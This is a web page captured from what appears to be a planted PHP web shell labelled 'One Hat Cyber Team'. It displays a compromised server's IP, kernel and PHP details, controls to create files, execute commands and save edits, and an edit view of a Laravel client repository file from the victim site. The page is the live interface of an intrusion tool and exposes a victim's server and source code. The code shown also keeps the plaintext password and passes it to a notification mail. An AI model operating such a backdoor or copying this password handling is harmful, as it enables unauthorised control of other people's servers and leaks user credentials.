⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.138
Server IP:
186.226.58.36
Server:
Linux da02.sh15.net 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Server Software:
Apache/2
PHP Version:
8.1.32
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
redesystem
/
public_html
/
sys
/
app
/
Repositories
/
Edit File: ClientRepository.php
fieldSearchable; } /** * Configure the Model **/ public function model(): string { return Client::class; } public function getData(): mixed { $data['countries'] = Country::toBase()->pluck('name', 'id')->toArray(); return $data; } public function store($input): bool { try { DB::beginTransaction(); $input['client_password'] = $input['password']; $input['password'] = Hash::make($input['password']); $input['language'] = getDefaultLanguage(); if (isset($input['contact'])) { $checkUniqueness = checkContactUniqueness($input['contact'], $input['region_code']); if ($checkUniqueness) { throw new UnprocessableEntityHttpException('Contact number already exists for another Client.'); } } /** @var User $user */ $user = User::create($input); $user->assignRole(Role::ROLE_CLIENT); $input['user_id'] = $user->id; $client = Client::create($input); if (isset($input['profile']) && ! empty($input['profile'])) { $user->addMedia($input['profile'])->toMediaCollection(User::PROFILE, config('app.media_disc')); } if ($input['avatar_remove'] == 1 && isset($input['avatar_remove']) && empty($input['profile'])) { $user->clearMediaCollection(User::PROFILE); $user->media()->delete(); } if (getSettingValue('mail_notification')) { Mail::to($input['email'])->send(new CreateNewClientMail($input)); } DB::commit(); return true; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } public function updateClient(array $input, Client $client): bool { try { DB::beginTransaction(); $user = $client->user; if (isset($input['password']) && ! empty($input['password'])) { $input['password'] = Hash::make($input['password']); } else { $input['password'] = $client->user->password; } $user->update($input); $client->update($input); if (isset($input['profile']) && ! empty($input['profile'])) { $user->clearMediaCollection(User::PROFILE); $user->media()->delete(); $user->addMedia($input['profile'])->toMediaCollection(User::PROFILE, config('app.media_disc')); } if ($input['avatar_remove'] == 1 && isset($input['avatar_remove']) && empty($input['profile'])) { $user->clearMediaCollection(User::PROFILE); $user->media()->delete(); } DB::commit(); return true; } catch (Exception $e) { DB::rollBack(); throw new UnprocessableEntityHttpException($e->getMessage()); } } }
Simpan